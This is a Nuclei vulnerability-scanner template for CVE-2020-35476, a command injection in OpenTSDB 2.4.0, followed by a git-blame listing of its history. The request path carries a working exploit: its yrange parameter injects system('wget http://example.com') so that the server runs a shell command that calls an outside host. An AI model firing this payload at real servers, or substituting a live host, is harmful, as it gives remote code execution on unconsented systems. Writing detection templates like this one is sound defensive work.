nuclei-templates/cves/2020/CVE-2020-35476.yaml

id: CVE-2020-35476

info:
  name: OpenTSDB 2.4.0 Remote Code Execution
  author: pikpikcu
  severity: critical
  description: A remote code execution vulnerability occurs in OpenTSDB through 2.4.0 via command injection in the yrange parameter. The yrange value is written to a gnuplot file in the /tmp directory.
  reference:
    - https://github.com/OpenTSDB/opentsdb/issues/2051
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-35476
    cwe-id: CWE-78
  tags: cve,cve2020,opentsdb,rce

requests:
  - method: GET
    path:
      - "{{BaseURL}}/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27wget%20http://example.com%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - plotted
          - timing
          - cachehit
        part: body
        condition: and

      - type: word
        words:
          - application/json
        part: header
Ading CVE-2020-35476 :fire: 2021-01-31 17:35:32 +00:00			`id: CVE-2020-35476`

			`info:`
			`name: OpenTSDB 2.4.0 Remote Code Execution`
			`author: pikpikcu`
			`severity: critical`
			`description: A remote code execution vulnerability occurs in OpenTSDB through 2.4.0 via command injection in the yrange parameter. The yrange value is written to a gnuplot file in the /tmp directory.`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`reference:`
			`- https://github.com/OpenTSDB/opentsdb/issues/2051`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`cvss-score: 9.8`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`cve-id: CVE-2020-35476`
			`cwe-id: CWE-78`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`tags: cve,cve2020,opentsdb,rce`
Ading CVE-2020-35476 :fire: 2021-01-31 17:35:32 +00:00
			`requests:`
			`- method: GET`
			`path:`
			`- "{{BaseURL}}/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27wget%20http://example.com%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json"`
			`matchers-condition: and`
			`matchers:`
			`- type: status`
			`status:`
			`- 200`
fixing matchers 2021-03-10 14:05:34 +00:00
			`- type: word`
			`words:`
Ading CVE-2020-35476 :fire: 2021-01-31 17:35:32 +00:00			`- plotted`
			`- timing`
Update CVE-2020-35476.yaml 2021-02-03 11:19:03 +00:00			`- cachehit`
Ading CVE-2020-35476 :fire: 2021-01-31 17:35:32 +00:00			`part: body`
fixing typos 2021-03-10 14:03:49 +00:00			`condition: and`
fixing matchers 2021-03-10 14:05:34 +00:00
Adding more validations 2021-02-03 09:57:16 +00:00			`- type: word`
			`words:`
			`- application/json`
			`part: header`